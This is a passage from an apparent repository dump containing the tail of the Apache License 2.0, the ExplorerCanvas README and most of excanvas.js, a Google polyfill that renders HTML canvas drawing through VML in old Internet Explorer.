 as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/thirdparty/excanvas/README",
    "content": "ExplorerCanvas\nCopyright 2006 Google Inc.\n\n-------------------------------------------------------------------------------\nDESCRIPTION\n\nFirefox, Safari and Opera 9 support the canvas tag to allow 2D command-based \ndrawing operations. ExplorerCanvas brings the same functionality to Internet \nExplorer; web developers only need to include a single script tag in their \nexisting canvas webpages to enable this support.\n\n\n-------------------------------------------------------------------------------\nINSTALLATION\n\nInclude the ExplorerCanvas tag in the same directory as your HTML files, and \nadd the following code to your page, preferably in the <head> tag.\n\n<!--[if IE]><script type=\"text/javascript\" src=\"excanvas.js\"></script><![endif]-->\n\nIf you run into trouble, please look at the included example code to see how\nto best implement this"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/thirdparty/excanvas/excanvas.js",
    "content": "// Copyright 2006 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//   http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n\n// Known Issues:\n//\n// * Patterns are not implemented.\n// * Radial gradient are not implemented. The VML version of these look very\n//   different from the canvas one.\n// * Clipping paths are not implemented.\n// * Coordsize. The width and height attribute have higher priority than the\n//   width and height style values which isn't correct.\n// * Painting mode isn't implemented.\n// * Canvas width/height should is using content-box by default. IE in\n//   Quirks mode will draw the canvas using border-box. Either change your\n//   doctype to HTML5\n//   (http://www.whatwg.org/specs/web-apps/current-work/#the-doctype)\n//   or use Box Sizing Behavior from WebFX\n//   (http://webfx.eae.net/dhtml/boxsizing/boxsizing.html)\n// * Non uniform scaling does not correctly scale strokes.\n// * Optimize. There is always room for speed improvements.\n\n// Only add this code if we do not already have a canvas implementation\nif (!document.createElement('canvas').getContext) {\n\n(function() {\n\n  // alias some functions to make (compiled) code shorter\n  var m = Math;\n  var mr = m.round;\n  var ms = m.sin;\n  var mc = m.cos;\n  var abs = m.abs;\n  var sqrt = m.sqrt;\n\n  // this is used for sub pixel precision\n  var Z = 10;\n  var Z2 = Z / 2;\n\n  /**\n   * This funtion is assigned to the <canvas> elements as element.getContext().\n   * @this {HTMLElement}\n   * @return {CanvasRenderingContext2D_}\n   */\n  function getContext() {\n    return this.context_ ||\n        (this.context_ = new CanvasRenderingContext2D_(this));\n  }\n\n  var slice = Array.prototype.slice;\n\n  /**\n   * Binds a function to an object. The returned function will always use the\n   * passed in {@code obj} as {@code this}.\n   *\n   * Example:\n   *\n   *   g = bind(f, obj, a, b)\n   *   g(c, d) // will do f.call(obj, a, b, c, d)\n   *\n   * @param {Function} f The function to bind the object to\n   * @param {Object} obj The object that should act as this when the function\n   *     is called\n   * @param {*} var_args Rest arguments that will be used as the initial\n   *     arguments when the function is called\n   * @return {Function} A new function that has bound this\n   */\n  function bind(f, obj, var_args) {\n    var a = slice.call(arguments, 2);\n    return function() {\n      return f.apply(obj, a.concat(slice.call(arguments)));\n    };\n  }\n\n  var G_vmlCanvasManager_ = {\n    init: function(opt_doc) {\n      if (/MSIE/.test(navigator.userAgent) && !window.opera) {\n        var doc = opt_doc || document;\n        // Create a dummy element so that IE will allow canvas elements to be\n        // recognized.\n        doc.createElement('canvas');\n        doc.attachEvent('onreadystatechange', bind(this.init_, this, doc));\n      }\n    },\n\n    init_: function(doc) {\n      // create xmlns\n      if (!doc.namespaces['g_vml_']) {\n        doc.namespaces.add('g_vml_', 'urn:schemas-microsoft-com:vml',\n                           '#default#VML');\n\n      }\n      if (!doc.namespaces['g_o_']) {\n        doc.namespaces.add('g_o_', 'urn:schemas-microsoft-com:office:office',\n                           '#default#VML');\n      }\n\n      // Setup default CSS.  Only add one style sheet per document\n      if (!doc.styleSheets['ex_canvas_']) {\n        var ss = doc.createStyleSheet();\n        ss.owningElement.id = 'ex_canvas_';\n        ss.cssText = 'canvas{display:inline-block;overflow:hidden;' +\n            // default size is 300x150 in Gecko and Opera\n            'text-align:left;width:300px;height:150px}' +\n            'g_vml_\\\\:*{behavior:url(#default#VML)}' +\n            'g_o_\\\\:*{behavior:url(#default#VML)}';\n\n      }\n\n      // find all canvas elements\n      var els = doc.getElementsByTagName('canvas');\n      for (var i = 0; i < els.length; i++) {\n        this.initElement(els[i]);\n      }\n    },\n\n    /**\n     * Public initializes a canvas element so that it can be used as canvas\n     * element from now on. This is called automatically before the page is\n     * loaded but if you are creating elements using createElement you need to\n     * make sure this is called on the element.\n     * @param {HTMLElement} el The canvas element to initialize.\n     * @return {HTMLElement} the element that was created.\n     */\n    initElement: function(el) {\n      if (!el.getContext) {\n\n        el.getContext = getContext;\n\n        // Remove fallback content. There is no way to hide text nodes so we\n        // just remove all childNodes. We could hide all elements and remove\n        // text nodes but who really cares about the fallback content.\n        el.innerHTML = '';\n\n        // do not use inline function because that will leak memory\n        el.attachEvent('onpropertychange', onPropertyChange);\n        el.attachEvent('onresize', onResize);\n\n        var attrs = el.attributes;\n        if (attrs.width && attrs.width.specified) {\n          // TODO: use runtimeStyle and coordsize\n          // el.getContext().setWidth_(attrs.width.nodeValue);\n          el.style.width = attrs.width.nodeValue + 'px';\n        } else {\n          el.width = el.clientWidth;\n        }\n        if (attrs.height && attrs.height.specified) {\n          // TODO: use runtimeStyle and coordsize\n          // el.getContext().setHeight_(attrs.height.nodeValue);\n          el.style.height = attrs.height.nodeValue + 'px';\n        } else {\n          el.height = el.clientHeight;\n        }\n        //el.getContext().setCoordsize_()\n      }\n      return el;\n    }\n  };\n\n  function onPropertyChange(e) {\n    var el = e.srcElement;\n\n    switch (e.propertyName) {\n      case 'width':\n        el.style.width = el.attributes.width.nodeValue + 'px';\n        el.getContext().clearRect();\n        break;\n      case 'height':\n        el.style.height = el.attributes.height.nodeValue + 'px';\n        el.getContext().clearRect();\n        break;\n    }\n  }\n\n  function onResize(e) {\n    var el = e.srcElement;\n    if (el.firstChild) {\n      el.firstChild.style.width =  el.clientWidth + 'px';\n      el.firstChild.style.height = el.clientHeight + 'px';\n    }\n  }\n\n  G_vmlCanvasManager_.init();\n\n  // precompute \"00\" to \"FF\"\n  var dec2hex = [];\n  for (var i = 0; i < 16; i++) {\n    for (var j = 0; j < 16; j++) {\n      dec2hex[i * 16 + j] = i.toString(16) + j.toString(16);\n    }\n  }\n\n  function createMatrixIdentity() {\n    return [\n      [1, 0, 0],\n      [0, 1, 0],\n      [0, 0, 1]\n    ];\n  }\n\n  function matrixMultiply(m1, m2) {\n    var result = createMatrixIdentity();\n\n    for (var x = 0; x < 3; x++) {\n      for (var y = 0; y < 3; y++) {\n        var sum = 0;\n\n        for (var z = 0; z < 3; z++) {\n          sum += m1[x][z] * m2[z][y];\n        }\n\n        result[x][y] = sum;\n      }\n    }\n    return result;\n  }\n\n  function copyState(o1, o2) {\n    o2.fillStyle     = o1.fillStyle;\n    o2.lineCap       = o1.lineCap;\n    o2.lineJoin      = o1.lineJoin;\n    o2.lineWidth     = o1.lineWidth;\n    o2.miterLimit    = o1.miterLimit;\n    o2.shadowBlur    = o1.shadowBlur;\n    o2.shadowColor   = o1.shadowColor;\n    o2.shadowOffsetX = o1.shadowOffsetX;\n    o2.shadowOffsetY = o1.shadowOffsetY;\n    o2.strokeStyle   = o1.strokeStyle;\n    o2.globalAlpha   = o1.globalAlpha;\n    o2.arcScaleX_    = o1.arcScaleX_;\n    o2.arcScaleY_    = o1.arcScaleY_;\n    o2.lineScale_    = o1.lineScale_;\n  }\n\n  function processStyle(styleString) {\n    var str, alpha = 1;\n\n    styleString = String(styleString);\n    if (styleString.substring(0, 3) == 'rgb') {\n      var start = styleString.indexOf('(', 3);\n      var end = styleString.indexOf(')', start + 1);\n      var guts = styleString.substring(start + 1, end).split(',');\n\n      str = '#';\n      for (var i = 0; i < 3; i++) {\n        str += dec2hex[Number(guts[i])];\n      }\n\n      if (guts.length == 4 && styleString.substr(3, 1) == 'a') {\n        alpha = guts[3];\n      }\n    } else {\n      str = styleString;\n    }\n\n    return {color: str, alpha: alpha};\n  }\n\n  function processLineCap(lineCap) {\n    switch (lineCap) {\n      case 'butt':\n        return 'flat';\n      case 'round':\n        return 'round';\n      case 'square':\n      default:\n        return 'square';\n    }\n  }\n\n  /**\n   * This class implements CanvasRenderingContext2D interface as described by\n   * the WHATWG.\n   * @param {HTMLElement} surfaceElement The element that the 2D context should\n   * be associated with\n   */\n  function CanvasRenderingContext2D_(surfaceElement) {\n    this.m_ = createMatrixIdentity();\n\n    this.mStack_ = [];\n    this.aStack_ = [];\n    this.currentPath_ = [];\n\n    // Canvas context properties\n    this.strokeStyle = '#000';\n    this.fillStyle = '#000';\n\n    this.lineWidth = 1;\n    this.lineJoin = 'miter';\n    this.lineCap = 'butt';\n    this.miterLimit = Z * 1;\n    this.globalAlpha = 1;\n    this.canvas = surfaceElement;\n\n    var el = surfaceElement.ownerDocument.createElement('div');\n    el.style.width =  surfaceElement.clientWidth + 'px';\n    el.style.height = surfaceElement.clientHeight + 'px';\n    el.style.overflow = 'hidden';\n    el.style.position = 'absolute';\n    surfaceElement.appendChild(el);\n\n    this.element_ = el;\n    this.arcScaleX_ = 1;\n    this.arcScaleY_ = 1;\n    this.lineScale_ = 1;\n  }\n\n  var contextPrototype = CanvasRenderingContext2D_.prototype;\n  contextPrototype.clearRect = function() {\n    this.element_.innerHTML = '';\n  };\n\n  contextPrototype.beginPath = function() {\n    // TODO: Branch current matrix so that save/restore has no effect\n    //       as per safari docs.\n    this.currentPath_ = [];\n  };\n\n  contextPrototype.moveTo = function(aX, aY) {\n    var p = this.getCoords_(aX, aY);\n    this.currentPath_.push({type: 'moveTo', x: p.x, y: p.y});\n    this.currentX_ = p.x;\n    this.currentY_ = p.y;\n  };\n\n  contextPrototype.lineTo = function(aX, aY) {\n    var p = this.getCoords_(aX, aY);\n    this.currentPath_.push({type: 'lineTo', x: p.x, y: p.y});\n\n    this.currentX_ = p.x;\n    this.currentY_ = p.y;\n  };\n\n  contextPrototype.bezierCurveTo = function(aCP1x, aCP1y,\n                                            aCP2x, aCP2y,\n                                            aX, aY) {\n    var p = this.getCoords_(aX, aY);\n    var cp1 = this.getCoords_(aCP1x, aCP1y);\n    var cp2 = this.getCoords_(aCP2x, aCP2y);\n    bezierCurveTo(this, cp1, cp2, p);\n  };\n\n  // Helper function that takes the already fixed cordinates.\n  function bezierCurveTo(self, cp1, cp2, p) {\n    self.currentPath_.push({\n      type: 'bezierCurveTo',\n      cp1x: cp1.x,\n      cp1y: cp1.y,\n      cp2x: cp2.x,\n      cp2y: cp2.y,\n      x: p.x,\n      y: p.y\n    });\n    self.currentX_ = p.x;\n    self.currentY_ = p.y;\n  }\n\n  contextPrototype.quadraticCurveTo = function(aCPx, aCPy, aX, aY) {\n    // the following is lifted almost directly from\n    // http://developer.mozilla.org/en/docs/Canvas_tutorial:Drawing_shapes\n\n    var cp = this.getCoords_(aCPx, aCPy);\n    var p = this.getCoords_(aX, aY);\n\n    var cp1 = {\n      x: this.currentX_ + 2.0 / 3.0 * (cp.x - this.currentX_),\n      y: this.currentY_ + 2.0 / 3.0 * (cp.y - this.currentY_)\n    };\n    var cp2 = {\n      x: cp1.x + (p.x - this.currentX_) / 3.0,\n      y: cp1.y + (p.y - this.currentY_) / 3.0\n    };\n\n    bezierCurveTo(this, cp1, cp2, p);\n  };\n\n  contextPrototype.arc = function(aX, aY, aRadius,\n                                  aStartAngle, aEndAngle, aClockwise) {\n    aRadius *= Z;\n    var arcType = aClockwise ? 'at' : 'wa';\n\n    var xStart = aX + mc(aStartAngle) * aRadius - Z2;\n    var yStart = aY + ms(aStartAngle) * aRadius - Z2;\n\n    var xEnd = aX + mc(aEndAngle) * aRadius - Z2;\n    var yEnd = aY + ms(aEndAngle) * aRadius - Z2;\n\n    // IE won't render arches drawn counter clockwise if xStart == xEnd.\n    if (xStart == xEnd && !aClockwise) {\n      xStart += 0.125; // Offset xStart by 1/80 of a pixel. Use something\n                       // that can be represented in binary\n    }\n\n    var p = this.getCoords_(aX, aY);\n    var pStart = this.getCoords_(xStart, yStart);\n    var pEnd = this.getCoords_(xEnd, yEnd);\n\n    this.currentPath_.push({type: arcType,\n                           x: p.x,\n                           y: p.y,\n                           radius: aRadius,\n                           xStart: pStart.x,\n                           yStart: pStart.y,\n                           xEnd: pEnd.x,\n                           yEnd: pEnd.y});\n\n  };\n\n  contextPrototype.rect = function(aX, aY, aWidth, aHeight) {\n    this.moveTo(aX, aY);\n    this.lineTo(aX + aWidth, aY);\n    this.lineTo(aX + aWidth, aY + aHeight);\n    this.lineTo(aX, aY + aHeight);\n    this.closePath();\n  };\n\n  contextPrototype.strokeRect = function(aX, aY, aWidth, aHeight) {\n    var oldPath = this.currentPath_;\n    this.beginPath();\n\n    this.moveTo(aX, aY);\n    this.lineTo(aX + aWidth, aY);\n    this.lineTo(aX + aWidth, aY + aHeight);\n    this.lineTo(aX, aY + aHeight);\n    this.closePath();\n    this.stroke();\n\n    this.currentPath_ = oldPath;\n  };\n\n  contextPrototype.fillRect = function(aX, aY, aWidth, aHeight) {\n    var oldPath = this.currentPath_;\n    this.beginPath();\n\n    this.moveTo(aX, aY);\n    this.lineTo(aX + aWidth, aY);\n    this.lineTo(aX + aWidth, aY + aHeight);\n    this.lineTo(aX, aY + aHeight);\n    this.closePath();\n    this.fill();\n\n    this.currentPath_ = oldPath;\n  };\n\n  contextPrototype.createLinearGradient = function(aX0, aY0, aX1, aY1) {\n    var gradient = new CanvasGradient_('gradient');\n    gradient.x0_ = aX0;\n    gradient.y0_ = aY0;\n    gradient.x1_ = aX1;\n    gradient.y1_ = aY1;\n    return gradient;\n  };\n\n  contextPrototype.createRadialGradient = function(aX0, aY0, aR0,\n                                                   aX1, aY1, aR1) {\n    var gradient = new CanvasGradient_('gradientradial');\n    gradient.x0_ = aX0;\n    gradient.y0_ = aY0;\n    gradient.r0_ = aR0;\n    gradient.x1_ = aX1;\n    gradient.y1_ = aY1;\n    gradient.r1_ = aR1;\n    return gradient;\n  };\n\n  contextPrototype.drawImage = function(image, var_args) {\n    var dx, dy, dw, dh, sx, sy, sw, sh;\n\n    // to find the original width we overide the width and height\n    var oldRuntimeWidth = image.runtimeStyle.width;\n    var oldRuntimeHeight = image.runtimeStyle.height;\n    image.runtimeStyle.width = 'auto';\n    image.runtimeStyle.height = 'auto';\n\n    // get the original size\n    var w = image.width;\n    var h = image.height;\n\n    // and remove overides\n    image.runtimeStyle.width = oldRuntimeWidth;\n    image.runtimeStyle.height = oldRuntimeHeight;\n\n    if (arguments.length == 3) {\n      dx = arguments[1];\n      dy = arguments[2];\n      sx = sy = 0;\n      sw = dw = w;\n      sh = dh = h;\n    } else if (arguments.length == 5) {\n      dx = arguments[1];\n      dy = arguments[2];\n      dw = arguments[3];\n      dh = arguments[4];\n      sx = sy = 0;\n      sw = w;\n      sh = h;\n    } else if (arguments.length == 9) {\n      sx = arguments[1];\n      sy = arguments[2];\n      sw = arguments[3];\n      sh = arguments[4];\n      dx = arguments[5];\n      dy = arguments[6];\n      dw = arguments[7];\n      dh = arguments[8];\n    } else {\n      throw Error('Invalid number of arguments');\n    }\n\n    var d = this.getCoords_(dx, dy);\n\n    var w2 = sw / 2;\n    var h2 = sh / 2;\n\n    var vmlStr = [];\n\n    var W = 10;\n    var H = 10;\n\n    // For some reason that I've now forgotten, using divs didn't work\n    vmlStr.push(' <g_vml_:group',\n                ' coordsize=\"', Z * W, ',', Z * H, '\"',\n                ' coordorigin=\"0,0\"' ,\n                ' style=\"width:', W, 'px;height:', H, 'px;position:absolute;');\n\n    // If filters are necessary (rotation exists), create them\n    // filters are bog-slow, so only create them if abbsolutely necessary\n    // The following check doesn't account for skews (which don't exist\n    // in the canvas spec (yet) anyway.\n\n    if (this.m_[0][0] != 1 || this.m_[0][1]) {\n      var filter = [];\n\n      // Note the 12/21 reversal\n      filter.push('M11=', this.m_[0][0], ',',\n                  'M12=', this.m_[1][0], ',',\n                  'M21=', this.m_[0][1], ',',\n                  'M22=', this.m_[1][1], ',',\n                  'Dx=', mr(d.x / Z), ',',\n                  'Dy=', mr(d.y / Z), '');\n\n      // Bounding box calculation (need to minimize displayed area so that\n      // filters don't waste time on unused pixels.\n      var max = d;\n      var c2 = this.getCoords_(dx + dw, dy);\n      var c3 = this.getCoords_(dx, dy + dh);\n      var c4 = this.getCoords_(dx + dw, dy + dh);\n\n      max.x = m.max(max.x, c2.x, c3.x, c4.x);\n      max.y = m.max(max.y, c2.y, c3.y, c4.y);\n\n      vmlStr.push('padding:0 ', mr(max.x / Z), 'px ', mr(max.y / Z),\n                  'px 0;filter:progid:DXImageTransform.Microsoft.Matrix(',\n                  filter.join(''), \", sizingmethod='clip');\")\n    } else {\n      vmlStr.push('top:', mr(d.y / Z), 'px;left:', mr(d.x / Z), 'px;');\n    }\n\n    vmlStr.push(' \">' ,\n                '<g_vml_:image src=\"', image.src, '\"',\n                ' style=\"width:', Z * dw, 'px;',\n                ' height:', Z * dh, 'px;\"',\n                ' cropleft=\"', sx / w, '\"',\n                ' croptop=\"', sy / h, '\"',\n                ' cropright=\"', (w - sx - sw) / w, '\"',\n                ' cropbottom=\"', (h - sy - sh) / h, '\"',\n                ' />',\n                '</g_vml_:group>');\n\n    this.element_.insertAdjacentHTML('BeforeEnd',\n                                    vmlStr.join(''));\n  };\n\n  contextPrototype.stroke = function(aFill) {\n    var lineStr = [];\n    var lineOpen = false;\n    var a = processStyle(aFill ? this.fillStyle : this.strokeStyle);\n    var color = a.color;\n    var opacity = a.alpha * this.globalAlpha;\n\n    var W = 10;\n    var H = 10;\n\n    lineStr.push('<g_vml_:shape',\n                 ' filled=\"', !!aFill, '\"',\n                 ' style=\"position:absolute;width:', W, 'px;height:', H, 'px;\"',\n                 ' coordorigin=\"0 0\" coordsize=\"', Z * W, ' ', Z * H, '\"',\n                 ' stroked=\"', !aFill, '\"',\n                 ' path=\"');\n\n    var newSeq = false;\n    var min = {x: null, y: null};\n    var max = {x: null, y: null};\n\n    for (var i = 0; i < this.currentPath_.length; i++) {\n      var p = this.currentPath_[i];\n      var c;\n\n      switch (p.type) {\n        case 'moveTo':\n          c = p;\n          lineStr.push(' m ', mr(p.x), ',', mr(p.y));\n          break;\n        case 'lineTo':\n          lineStr.push(' l ', mr(p.x), ',', mr(p.y));\n          break;\n        case 'close':\n          lineStr.push(' x ');\n          p = null;\n          break;\n        case 'bezierCurveTo':\n          lineStr.push(' c ',\n                       mr(p.cp1x), ',', mr(p.cp1y), ',',\n                       mr(p.cp2x), ',', mr(p.cp2y), ',',\n                       mr(p.x), ',', mr(p.y));\n          break;\n        case 'at':\n        case 'wa':\n          lineStr.push(' ', p.type, ' ',\n                       mr(p.x - this.arcScaleX_ * p.radius), ',',\n                       mr(p.y - this.arcScaleY_ * p.radius), ' ',\n                       mr(p.x + this.arcScaleX_ * p.radius), ',',\n                       mr(p.y + this.arcScaleY_ * p.radius), ' ',\n                       mr(p.xStart), ',', mr(p.yStart), ' ',\n                       mr(p.xEnd), ',', mr(p.yEnd));\n          break;\n      }\n\n\n      // TODO: Following is broken for curves due to\n      //       move to proper paths.\n\n      // Figure out dimensions so we can do gradient fills\n      // properly\n      if (p) {\n        if (min.x == null || p.x < min.x) {\n          min.x = p.x;\n        }\n        if (max.x == null || p.x > max.x) {\n          max.x = p.x;\n        }\n        if (min.y == null || p.y < min.y) {\n          min.y = p.y;\n        }\n        if (max.y == null || p.y > max.y) {\n          max.y = p.y;\n        }\n      }\n    }\n    lineStr.push(' \">');\n\n    if (!aFill) {\n      var lineWidth = this.lineScale_ * this.lineWidth;\n\n      // VML cannot correctly render a line if the width is less than 1px.\n      // In that case, we dilute the color to make the line look thinner.\n      if (lineWidth < 1) {\n        opacity *= lineWidth;\n      }\n\n      lineStr.push(\n        '<g_vml_:stroke',\n        ' opacity=\"', opacity, '\"',\n        ' joinstyle=\"', this.lineJoin, '\"',\n        ' miterlimit=\"', this.miterLimit, '\"',\n        ' endcap=\"', processLineCap(this.lineCap), '\"',\n        ' weight=\"', lineWidth, 'px\"',\n        ' color=\"', color, '\" />'\n      );\n    } else if (typeof this.fillStyle == 'object') {\n      var fillStyle = this.fillStyle;\n      var angle = 0;\n      var focus = {x: 0, y: 0};\n\n      // additional offset\n      var shift = 0;\n      // scale factor for offset\n      var expansion = 1;\n\n      if (fillStyle.type_ == 'gradient') {\n        var x0 = fillStyle.x0_ / this.arcScaleX_;\n        var y0 = fillStyle.y0_ / this.arcScaleY_;\n        var x1 = fillStyle.x1_ / this.arcScaleX_;\n        var y1 = fillStyle.y1_ / this.arcScaleY_;\n        var p0 = this.getCoords_(x0, y0);\n        var p1 = this.getCoords_(x1, y1);\n        var dx = p1.x - p0.x;\n        var dy = p1.y - p0.y;\n        angle = Math.atan2(dx, dy) * 180 / Math.PI;\n\n        // The angle should be a non-negative number.\n        if (angle < 0) {\n          angle += 360;\n        }\n\n        // Very small angles produce an unexpected result because they are\n        // converted to a scientific notation string.\n        if (angle < 1e-6) {\n          angle = 0;\n        }\n      } else {\n        var p0 = this.getCoords_(fillStyle.x0_, fillStyle.y0_);\n        var width  = max.x - min.x;\n        var height = max.y - min.y;\n        focus = {\n          x: (p0.x - min.x) / width,\n          y: (p0.y - min.y) / height\n        };\n\n        width  /= this.arcScaleX_ * Z;\n        height /= this.arcScaleY_ * Z;\n        var dimension = m.max(width, height);\n        shift = 2 * fillStyle.r0_ / dimension;\n        expansion = 2 * fillStyle.r1_ / dimension - shift;\n      }\n\n      // We need to sort the color stops in ascending order by offset,\n      // otherwise IE won't interpret it correctly.\n      var stops = fillStyle.colors_;\n      stops.sort(function(cs1, cs2) {\n        return cs1.offset - cs2.offset;\n      });\n\n      var length = stops.length;\n      var color1 = stops[0].color;\n      var color2 = stops[length - 1].color;\n      var opacity1 = stops[0].alpha * this.globalAlpha;\n      var opacity2 = stops[length - 1].alpha * this.globalAlpha;\n\n      var colors = [];\n      for (var i = 0; i < length; i++) {\n        var stop = stops[i];\n        colors.push(stop.offset * expansion + shift + ' ' + stop.color);\n      }\n\n      // When colors attribute is used, the meanings of opacity and o:opacity2\n      // are reversed.\n      lineStr.push('<g_vml_:fill type=\"', fillStyle.type_, '\"',\n                   ' method=\"none\" focus=\"100%\"',\n                   ' color=\"', color1, '\"',\n                   ' color2=\"', color2, '\"',\n                   ' colors=\"', colors.join(','), '\"',\n                   ' opacity=\"', opacity2, '\"',\n                   ' g_o_:opacity2=\"', opacity1, '\"',\n                   ' angle=\"', angle, '\"',\n                   ' focusposition=\"', focus.x, ',', focus.y, '\" />');\n    } else {\n      lineStr.push('<g_vml_:fill color=\"', color, '\" opacity=\"', opacity,\n                   '\" />');\n    }\n\n    lineStr.push('</g_vml_:shape>');\n\n    this.element_.insertAdjacentHTML('beforeEnd', lineStr.join(''));\n  };\n\n  contextPrototype.fill = function() {\n    this.stroke(true);\n  }\n\n  contextPrototype.closePath = function() {\n    this.currentPath_.push({type: 'close'});\n  };\n\n  /**\n   * @private\n   */\n  contextPrototype.getCoords_ = function(aX, aY) {\n    var m = this.m_;\n    return {\n      x: Z * (aX * m[0][0] + aY * m[1][0] + m[2][0]) - Z2,\n      y: Z * (aX * m[0][1] + aY * m[1][1] + m[2][1]) - Z2\n    }\n  };\n\n  contextPrototype.save = function() {\n    var o = {};\n    copyState(this, o);\n    this.aStack_.push(o);\n    this.mStack_.push(this.m_);\n    this.m_ = matrixMultiply(createMatrixIdentity(), this.m_);\n  };\n\n  contextPrototype.restore = function() {\n    copyState(this.aStack_.pop(), this);\n    this.m_ = this.mStack_.pop();\n  };\n\n  function matrixIsFinite(m) {\n    for (var j = 0; j < 3; j++) {\n      for (var k = 0; k < 2; k++) {\n        if (!isFinite(m[j][k]) || isNaN(m[j][k])) {\n          return false;\n        }\n      }\n    }\n    return true;\n  }\n\n  function setM(ctx, m, updateLineScale) {\n    if (!matrixIsFinite(m)) {\n      return;\n    }\n    ctx.m_ = m;\n\n    if (updateLineScale) {\n      // Get the line scale.\n      // Determinant of this.m_ means how much the area is enlarged by the\n      // transformation. So its square root can be used as a scale factor\n      // for width.\n      var det = m[0][0] * m[1][1] - m[0][1] * m[1][0];\n      ctx.lineScale_ = sqrt(abs(det));\n    }\n  }\n\n  contextPrototype.translate = function(aX, aY) {\n    var m1 = [\n      [1,  0,  0],\n      [0,  1,  0],\n      [aX, aY, 1]\n    ];\n\n    setM(this, matrixMultiply(m1, this.m_), false);\n  };\n\n  contextPrototype.rotate = function(aRot) {\n    var c = mc(aRot);\n    var s = ms(aRot);\n\n    var m1 = [\n      [c,  s, 0],\n      [-s, c, 0],\n      [0,  0, 1]\n    ];\n\n    setM(this, matrixMultiply(m1, this.m_), false);\n  };\n\n  contextPrototype.scale = function(aX, aY) {\n    this.arcScaleX_ *= aX;\n    this.arcScaleY_ *= aY;\n    var m1 = [\n      [aX, 0,  0],\n      [0,  aY, 0],\n      [0,  0,  1]\n    ];\n\n    setM(this, matrixMultiply(m1, this.m_), true);\n  };\n\n  contextPrototype.transform = function(m11, m12, m21, m22, dx, dy) {\n    var m1 = [\n      [m11, m12, 0],\n      [m21, m22, 0],\n      [dx,  dy,  1]\n    ];\n\n    setM(this, matrixMultiply(m1, this.m_), true);\n  };\n\n  contextPrototype.setTransform = function(m11, m12, m21, 